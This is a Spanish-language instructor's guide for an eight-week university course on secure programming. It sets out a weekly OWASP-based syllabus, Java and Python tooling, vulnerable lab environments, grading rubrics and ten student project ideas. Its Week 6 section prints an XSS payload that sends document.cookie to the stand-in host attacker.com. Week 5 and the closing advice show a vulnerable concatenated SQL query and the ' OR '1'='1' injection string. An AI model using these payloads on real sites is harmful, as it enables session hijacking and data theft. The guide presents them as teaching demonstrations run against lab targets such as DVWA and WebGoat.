
GUÍA COMPLETA — PROGRAMACIÓN SEGURA (DD281)

Universidad Autónoma del Perú — Ciclo VIII — 8 Semanas

1. MAPA SEMANAL: QUÉ ENSEÑARÁS SEMANA A SEMANA

Cada clase presencial es de **3 horas académicas** (estructura recomendada: 60 min teoría → 15 min receso → 60 min práctica → 15 min receso → 50 min laboratorio/proyecto).

UNIDAD 1 — Control de Autenticación, Roles y Privilegios (Semanas 1-4)

Semana	Tema Principal	Subtemas clave	Entregable
S1	Introducción + Modelado de Amenazas	CIA, OWASP Top 10, vulnerabilidad vs amenaza vs riesgo, SDLC seguro, casos de uso seguros	Hoja de trabajo (ya la tienes en S1)
S2	Login Seguro + SSL/TLS	Autenticación robusta, CGI, certificados SSL, hashing de contraseñas, HTTPS	Login funcional con SSL
S3	Sesiones + Cookies + RBAC	Gestión segura de sesiones, secuestro de sesión, RBAC, tokens JWT básicos	Modelado del proyecto con roles
S4	Diseño de Controles + EVALUACIÓN PARCIAL	Selección de controles OWASP, diseño de aplicativo web seguro	PROYECTO PARCIAL (40% de la nota)

UNIDAD 2 — Codificación Segura + OWASP + Comunicaciones (Semanas 5-8)

Semana	Tema Principal	Subtemas clave	Entregable
S5	OWASP Top 10 + Inyecciones	SQL Injection, NoSQL Injection, Command Injection, matriz de riesgos	Lab de inyección ética
S6	XSS + IDOR + Sesiones	Cross-Site Scripting, sanitización de entradas, referencias directas inseguras	Demo de mitigación XSS
S7	CSRF + Datos sensibles + Acceso	CSRF tokens, exposición de datos sensibles, cifrado en tránsito y reposo	Implementación de controles avanzados
S8	Monitoreo + EVALUACIÓN FINAL	Logging de seguridad, SIEM básico, pen testing del proyecto	SUSTENTACIÓN FINAL (50% de la nota)

2. LENGUAJE RECOMENDADO: JAVA (Principal) + PYTHON (Complementario)

Usa **JAVA** como lenguaje principal por tres razones sólidas:

1. Las hojas de trabajo de S1 ya están en Java (tus ejercicios C, D, H ya usan Java)
2. La bibliografía del sílabo incluye "Seguridad en aplicaciones web Java" de José Manuel Ortega Candel
3. Java es el lenguaje más usado en el ciclo VIII de Ingeniería de Sistemas en Peru

Usa **PYTHON** como herramienta de seguridad complementaria para:

- Scripts de escaneo de vulnerabilidades (Semanas 5-7)
- Automatización de pruebas de penetración
- Frameworks web seguros: Flask/Django con ejemplos de mitigación

Stack tecnológico completo sugerido:

Componente	Tecnología
Backend principal	Java + Spring Boot (con Spring Security)
Frontend	HTML5 + JS (sin frameworks pesados, para enfocarse en seguridad)
Base de datos	MySQL/PostgreSQL (para demostrar SQL Injection y mitigación)
Herramientas seguridad	OWASP ZAP, Burp Suite Community, SQLMap (uso ético)
Entorno de práctica	DVWA, WebGoat, Juice Shop (laboratorios vulnerables)
IDE	IntelliJ IDEA / VS Code + JDK 17+

3. LIBROS CON ENLACES DE DESCARGA LEGÍTIMOS Y GRATUITOS

Libros Open Access y Recursos OWASP (100% gratuitos y legales)

1. Programación segura de aplicaciones web — José María Palazón Romero *(Ya está en tu sílabo como recurso oficial)*

- Descarga directa
PDF: <https://openaccess.uoc.edu/server/api/core/bitstreams/e1dac4d3-d087-4be4-892d-c9342ff1762d/content>

2. OWASP Top 10 2021 (edición oficial — PDF gratuito)

- Web oficial: <https://owasp.org/www-project-top-ten/>
- PDF directo: https://owasp.org/Top10/assets/downloads/en/OWASP_Top_10-2021.pdf

3. OWASP Testing Guide v4.2 (guía completa de pruebas de seguridad)

- Web: <https://owasp.org/www-project-web-security-testing-guide/>
- PDF: <https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf>

4. OWASP Application Security Verification Standard (ASVS)

- PDF en español: <https://github.com/OWASP/ASVS/raw/v4.0.3/4.0/OWASP%20Application%20Security%20Verification%20Standard%204.0.3-es.pdf>

5. Secure Coding in Java — CERT SEI (Carnegie Mellon)

- Web gratuita: <https://wiki.sei.cmu.edu/confluence/display/java/SEI+CERT+Oracle+Coding+Standard+for+Java>

6. NIST SP 800-63B — Guía de identidad digital y contraseñas

- PDF gratuito NIST: <https://doi.org/10.6028/NIST.SP.800-63b>

7. The Web Application Hacker's Handbook (archive.org)

- Archive.org: <https://archive.org/details/the-web-application-hackers-handbook-finding-and-exploiting-security-flaws-2nd-edition>

8. Java Security — Scott Oaks (O'Reilly — archive.org)

- Archive.org: <https://archive.org/search?query=java+security+programming>

9. Penetration Testing — Georgia Weidman (capítulos gratuitos)

- No Starch Press free chapters: <https://www.nostarch.com/pentesting>

10. Computer Security: Art and Science — Matt Bishop (MIT OCW)

- MIT OpenCourseWare recursos: <https://ocw.mit.edu/courses/6-858-computer-systems-security-fall-2014/>

4. REPOSITORIOS GITHUB PARA USAR EN CLASE

Entornos vulnerables (para práctica de ataques éticos y mitigaciones)

Repositorio	Uso en tu clase	Link
OWASP WebGoat	Semanas 5-7: laboratorios de SQL Injection, XSS, CSRF	https://github.com/WebGoat/WebGoat
OWASP Juice Shop	Semana 5-8: e-commerce vulnerable (ideal para proyecto final)	https://github.com/juice-shop/juice-shop
DVWA	Semanas 5-6: práctica de las 10 vulnerabilidades OWASP	https://github.com/digininja/DVWA
OWASP Security Shepherd	Semanas 1-8: plataforma de entrenamiento por niveles	https://github.com/OWASP/SecurityShepherd
OWASP Threat Dragon	Semana 1: herramienta de modelado de amenazas	https://github.com/OWASP/threat-dragon
Spring Security Examples	Semanas 2-4: ejemplos de login seguro, JWT, RBAC en Java	https://github.com/spring-projects/spring-security-samples
OWASP ESAPI Java	Semanas 5-7: librería de seguridad para Java (sanitización, encoding)	https://github.com/ESAPI/esapi-java-legacy

Repositorio	Uso en tu clase	Link
SQL Injection Examples	Semana 5: ejemplos educativos de SQLi y PreparedStatement	https://github.com/veracode-research/sql-injection-primer

5. EVALUACIÓN PARCIAL (SEMANA 4 — 40% DE LA NOTA)

Qué deben entregar los estudiantes en la Semana 4

Los grupos deben presentar un **Avance de Proyecto** que incluya:

Componentes del entregable parcial:

- Documento de Modelado de Amenazas** (usar plantilla STRIDE)
 - Identificación de activos críticos del sistema elegido
 - Matriz de amenazas con probabilidad e impacto
 - Diagrama de flujo de datos (DFD) con zonas de confianza
- Especificación de Casos de Uso Seguros** (mínimo 3)
 - Caso de uso: Autenticación de usuario
 - Caso de uso: Gestión de sesión
 - Caso de uso: Control de acceso por roles
- Prototipo Funcional (MVP Seguro)** con:
 - Login con hashing de contraseña (BCrypt en Java)
 - Control de roles (mínimo 2 roles: ADMIN y USER)
 - Manejo seguro de sesiones
 - HTTPS/SSL configurado
- Informe de controles de seguridad seleccionados** (mapa de controles vs amenazas)
- Sustentación oral** (10 minutos por grupo + 5 minutos de preguntas)

Rúbrica sugerida para la EP:

Criterio	Peso
Modelado de amenazas completo y coherente	25%
Casos de uso seguros bien especificados	20%
Código funcional con controles implementados	35%
Informe técnico y sustentación oral	20%

6. EVALUACIÓN FINAL (SEMANA 8 — 50% DE LA NOTA)

10 PROYECTOS INNOVADORES PARA LA EVALUACIÓN FINAL

Cada proyecto debe ser desarrollado en equipos de 3-4 estudiantes durante las 8 semanas.

PROYECTO 1 — SecureHealth: Sistema de Historia Clínica Electrónica Segura

Descripción: Aplicación web para gestión de historias clínicas con cifrado de datos sensibles del paciente, control de acceso granular por rol (médico, enfermero, administrador) y auditoría completa de accesos.

Objetivos de seguridad:

- Implementar cifrado AES-256 para datos del paciente
- RBAC con 4 niveles de acceso diferenciados
- Log de auditoría inmutable de todos los accesos
- Autenticación MFA para médicos
- Prevención de SQL Injection con PreparedStatement

Repositorio base de referencia: <https://github.com/WebGoat/WebGoat> (para ver qué vulnerabilidades evitar) + Spring Security para la solución segura

PROYECTO 2 — SafeBank: Plataforma de Transferencias Bancarias Seguras

Descripción: Simulador de banca online con transacciones entre cuentas, protegido contra CSRF, con tokens de transacción únicos, límites de tasa y monitoreo de transacciones sospechosas.

Objetivos de seguridad:

- Tokens CSRF en todos los formularios de pago
- Rate limiting en transferencias (máx. 5 por minuto)
- Validación de monto y cuenta destinataria en servidor
- Registro de todas las transacciones con timestamp
- Sesión con expiración automática tras inactividad

Referencia: <https://github.com/juice-shop/juice-shop> (e-commerce vulnerable para estudiar y mejorar)

PROYECTO 3 — CyberShield: Dashboard de Monitoreo de Seguridad en Tiempo Real

Descripción: Panel de monitoreo que detecta y alerta sobre intentos de login fallidos, patrones sospechosos de acceso, IP bloqueadas y genera reportes de incidentes de seguridad.

Objetivos de seguridad:

- Detección de fuerza bruta (bloqueo tras 3 intentos)
- Geolocalización de IP sospechosas
- Alertas en tiempo real con WebSocket seguro
- Dashboard con métricas de seguridad (intentos fallidos, IPs bloqueadas)
- Exportación de logs en formato SIEM

Referencia GitHub: <https://github.com/elastic/elasticsearch> (para indexación de logs) + <https://github.com/opensearch-project/OpenSearch>

PROYECTO 4 — SecureVote: Sistema de Votación Electrónica con Blockchain Simple

Descripción: Sistema de votación estudiantil con anonimato garantizado, integridad del voto mediante hash encadenado, y auditoría pública de resultados sin revelar la identidad del votante.

Objetivos de seguridad:

- Cada voto es hashado y encadenado al anterior (blockchain simple)
- Autenticación con token de un solo uso por votante
- Separación total entre identidad y voto (anonimato)
- Verificación de integridad al cierre del proceso
- Prevención de doble voto

Referencia: <https://github.com/naivechain/naivechain> (blockchain minimalista educativo)

PROYECTO 5 — SafeChat: Mensajería con Cifrado Extremo a Extremo

Descripción: Aplicación de mensajería web donde los mensajes se cifran en el cliente con la clave pública del destinatario (RSA/AES híbrido) y el servidor nunca tiene acceso al contenido.

Objetivos de seguridad:

- Generación de par de claves RSA en el navegador
- Cifrado AES-256 del mensaje con clave de sesión efímera
- Firma digital de mensajes para autenticidad
- Prevención de XSS en el renderizado de mensajes
- HTTPS obligatorio con HSTS

Referencia: <https://github.com/signalapp/Signal-Android> (arquitectura de referencia) + <https://github.com/digitalbazaar/forge> (crypto en JS)

PROYECTO 6 — APIGuard: Gateway de API con Zero-Trust Security

Descripción: Proxy inverso seguro para APIs REST que implementa autenticación JWT, rate limiting, validación de payloads, logging y detección de anomalías en el uso de la API.

Objetivos de seguridad:

- Autenticación JWT con expiración y rotación de tokens
- Rate limiting por usuario y por endpoint (100 req/min)
- Validación de esquema JSON en todas las peticiones
- Lista negra de IPs maliciosas dinámica
- Logging estructurado de todas las peticiones

Referencia: <https://github.com/Kong/kong> (API Gateway de referencia) + <https://github.com/jwtkt/jjwt> (JWT en Java)

PROYECTO 7 — SecureFiles: Plataforma de Gestión Documental con Control de Acceso

Descripción: Sistema de almacenamiento y compartición de documentos donde cada archivo está cifrado, con control de acceso granular, watermarking digital y auditoría de descargas.

Objetivos de seguridad:

- Cifrado de archivos antes de almacenar (AES-256)
- URLs de descarga con tiempo de expiración (pre-signed URLs)
- Validación estricta del tipo de archivo (magic bytes, no solo extensión)
- Prevención de path traversal en la gestión de rutas
- Watermarking automático al descargar documentos

Referencia: <https://github.com/nextcloud/server> (arquitectura de referencia) + <https://github.com/tika/tika> (detección de tipos de archivo)

PROYECTO 8 — VulnScanner: Escáner de Vulnerabilidades Web Educativo

Descripción: Herramienta propia (en Python + Java) que escanea una URL y detecta automáticamente vulnerabilidades básicas: cabeceras de seguridad faltantes, formularios sin CSRF, cookies sin flags seguros, etc.

Objetivos de seguridad:

- Detección de headers de seguridad (CSP, HSTS, X-Frame-Options)

- Verificación de flags en cookies (Secure, HttpOnly, SameSite)
- Detección de formularios sin token CSRF
- Reporte en HTML con nivel de criticidad por vulnerabilidad
- Integración con la base de datos de CVEs del NIST

Referencia: <https://github.com/zaproxy/zaproxy> (arquitectura de ZAP) + <https://github.com/NVD/nvd-api> (API de vulnerabilidades NIST)

PROYECTO 9 — SecureMarket: E-Commerce con Seguridad OWASP Top 10 Completa

Descripción: Tienda online completa que demuestra la implementación correcta de los 10 controles del OWASP Top 10 2021, con módulo de comparativa mostrando versión vulnerable vs versión segura.

Objetivos de seguridad:

- Módulo demostrativo: código inseguro vs código seguro lado a lado
- Implementación completa de los 10 controles OWASP
- Dashboard administrativo con métricas de seguridad
- Pruebas automáticas de regresión de seguridad
- Documentación de decisiones de seguridad en cada módulo

Referencia: <https://github.com/juice-shop/juice-shop> (estudiar la versión vulnerable para construir la segura)

PROYECTO 10 — CampusAuth: Sistema de Autenticación Centralizado para la Universidad

Descripción: Implementación de SSO (Single Sign-On) universitario con soporte para múltiples sistemas (biblioteca, campus virtual, intranet), usando OAuth 2.0 / OpenID Connect.

Objetivos de seguridad:

- Implementación de OAuth 2.0 con PKCE para aplicaciones
- Autenticación MFA obligatoria para docentes y administrativos
- Gestión centralizada de roles y permisos por sistema
- Tokens con tiempo de expiración y rotación automática
- Cumplimiento con estándar OpenID Connect

Referencia: <https://github.com/keycloak/keycloak> (servidor de identidad de referencia) + <https://github.com/spring-projects/spring-authorization-server>

7. PAUTAS PASO A PASO EN PROGRAMACIÓN SEGURA

ANTES DE EMPEZAR (Semana 0 — Preparación)

Paso 1 — Configura tu entorno de laboratorio:

Software que debes tener instalado y probado:

- JDK 17 + IntelliJ IDEA Community (gratis)
- Docker Desktop (para correr DVWA y WebGoat en contenedores)
- OWASP ZAP 2.x (escáner de vulnerabilidades gratuito)
- Burp Suite Community Edition
- MySQL Workbench
- Visual Studio Code con extensiones de seguridad

Paso 2 — Instala los entornos vulnerables para laboratorios:

```
# WebGoat (Java - perfecto para tu curso)
docker run -d -p 8080:8080 webgoat/webgoat
```

```
# DVWA (PHP - para demostrar inyecciones)
docker run -d -p 8081:80 vulnerables/web-dvwa
```

```
# Juice Shop (Node.js - e-commerce vulnerable)
docker run -d -p 3000:3000 bkimminich/juice-shop
```

Paso 3 — Define los grupos de proyecto (máx. 4 estudiantes) en la primera sesión.

CÓMO ESTRUCTURAR CADA SESIÓN DE 3 HORAS (con recesos)

MINUTO 0-5	→ Revisión del entregable de la semana anterior (feedback)
MINUTO 5-60	→ TEORÍA: Concepto central con casos reales de brechas
MINUTO 60-75	→ RECESO 1 (15 minutos)
MINUTO 75-120	→ PRÁCTICA GUIADA: Laboratorio paso a paso contigo
MINUTO 120-135	→ RECESO 2 (15 minutos)
MINUTO 135-175	→ TRABAJO COLABORATIVO: Los equipos trabajan en su proyecto
MINUTO 175-180	→ CIERRE: 3 preguntas de reflexión sobre qué aprendieron

ESTRATEGIA DIDÁCTICA SEMANA A SEMANA (paso a paso)

SEMANA 1 — "El día que los hackean"

Apertura impactante (5 min): Muestra una brecha de seguridad real reciente (busca en <https://haveibeenpwned.com> cuántos emails de estudiantes están comprometidos — genera impacto inmediato).

Paso 1: Dicta la triada CIA con ejemplos concretos de la vida universitaria **Paso 2:** Introduce OWASP Top 10 con el juego de memorización (ya tienes la Sección A y B de tu hoja de trabajo S1) **Paso 3:** Modelado de amenazas con el caso RetailPlus (ya tienes la Sección E de tu hoja S1) **Paso 4:** Asigna los proyectos finales y forma los grupos

Recurso clave: Tu hoja de trabajo S1 ya está completa y lista — úsala tal cual.

SEMANA 2 — "El login que te protege o te traiciona"

Paso 1: Demuestra EN VIVO un login inseguro (contraseña en texto plano, sin límite de intentos) — usa el Fragmento 1 de tu hoja S1 como caso de estudio **Paso 2:** Muestra cómo agregar BCrypt en 10 líneas de Java con Spring Security **Paso 3:** Configura SSL en localhost con un certificado autofirmado (10 minutos de lab) **Paso 4:** Los grupos documentan el módulo de autenticación de su proyecto

Código que demostrarás en clase:

```
// Inseguro — lo que NO deben hacer
if (password.equals("Admin2024")) { ... }

// Seguro — BCrypt + PreparedStatement
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
String hashedPassword = encoder.encode(rawPassword);
boolean ok = encoder.matches(inputPassword, hashedPassword);
```

SEMANA 3 — "Las cookies que te espían"

Paso 1: Abre las DevTools del navegador y muestra las cookies de una sesión real **Paso 2:** Demuestra secuestro de sesión sin los flags Secure/HttpOnly **Paso 3:** Implementa RBAC en Java con Spring Security (roles ADMIN, USER, VENDEDOR) **Paso 4:** Los grupos implementan el módulo de roles en su proyecto

SEMANA 4 — EVALUACIÓN PARCIAL

Estructura de la sesión:

- 00-30 min: Últimos ajustes de los grupos (tú circula dando feedback)
- 30 min en adelante: Sustentaciones (10 min por grupo + 5 min preguntas)
- Usa la rúbrica analítica para calificar en tiempo real

Lo que evalúas:

- ¿El modelado de amenazas es coherente?
 - ¿El código de autenticación es realmente seguro?
 - ¿Los roles están correctamente implementados?
-

SEMANA 5 — "Inyecciones: cuando el código se convierte en arma"

Paso 1 (impacto): En DVWA o WebGoat, haz un SQL Injection EN VIVO en 30 segundos **Paso 2:** Muestra el código vulnerable vs el código seguro con PreparedStatement **Paso 3:** Lab de inyección ética — los estudiantes atacan el entorno de práctica

IMPORTANTE: Establece el contrato ético antes: "Solo atacamos sistemas que tenemos permiso — DVWA y WebGoat están diseñados para esto"

```
// INSEGURO — Vulnerable a SQL Injection
String sql = "SELECT * FROM usuarios WHERE email = '" + email + "'";
```

```
// SEGURO - PreparedStatement
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM usuarios WHERE email = ?");
ps.setString(1, email);
```

SEMANA 6 — "XSS: cuando tu web ataca a tus propios usuarios"

Paso 1: Demuestra XSS reflejado en 2 minutos con un campo de búsqueda sin sanitizar **Paso 2:** Muestra el impacto: robo de cookie de sesión con

`<script>document.location='http://attacker.com/steal?c='+document.cookie</script>` **Paso 3:** Implementa Content Security Policy (CSP) y muestra cómo bloquea el ataque **Paso 4:** Sanitización con OWASP ESAPI y codificación de salida

SEMANA 7 — "CSRF: cuando tu sesión trabaja para el atacante"

Paso 1: Demuestra un ataque CSRF con un formulario HTML malicioso en otro dominio **Paso 2:** Implementa tokens CSRF en Spring Security (2 líneas de configuración) **Paso 3:** Muestra la diferencia entre datos sensibles expuestos vs cifrados **Paso 4:** Los grupos implementan los controles finales de seguridad

SEMANA 8 — EVALUACIÓN FINAL + MONITOREO

Paso 1 (15 min): Clase magistral sobre SIEM y logging de seguridad **Paso 2 (30 min):** Cada grupo hace una prueba de penetración básica con OWASP ZAP a su propio proyecto **Paso 3:** Sustentaciones finales (15 min por grupo: demo + preguntas + defensa de decisiones de seguridad)

Lo que evalúas en la EF:

- ¿El proyecto resiste un escaneo básico de OWASP ZAP?
 - ¿Se implementaron los controles de las 8 semanas?
 - ¿El estudiante puede defender sus decisiones de seguridad?
-

8. FÓRMULA DE NOTA FINAL (del sílabo)

$$\text{NOTA FINAL} = (\text{EC} \times 0.10) + (\text{EP} \times 0.40) + (\text{EF} \times 0.50)$$

Donde:

EC = Examen conceptual individual (10%)

EP = Sustentación del avance - Semana 4 (40%)

EF = Sustentación final del proyecto - Semana 8 (50%)

Nota mínima aprobatoria: 10.5 / 20

CONSEJO FINAL

El secreto de esta asignatura es el **efecto WOW en cada sesión**: siempre muestra primero el ATAQUE (para generar impacto emocional) y luego la DEFENSA (para generar competencia técnica). Cuando un estudiante ve cómo en 30 segundos puedes vaciar una base de datos con ' OR '1'='1', la motivación para aprender a prevenirlo es inmediata y duradera.

Tu material de S1 ya está excelentemente preparado — los 15 ejercicios en Java de la sección C son exactamente el nivel correcto para el Ciclo VIII. Puedes usar esa misma estructura para todas las semanas.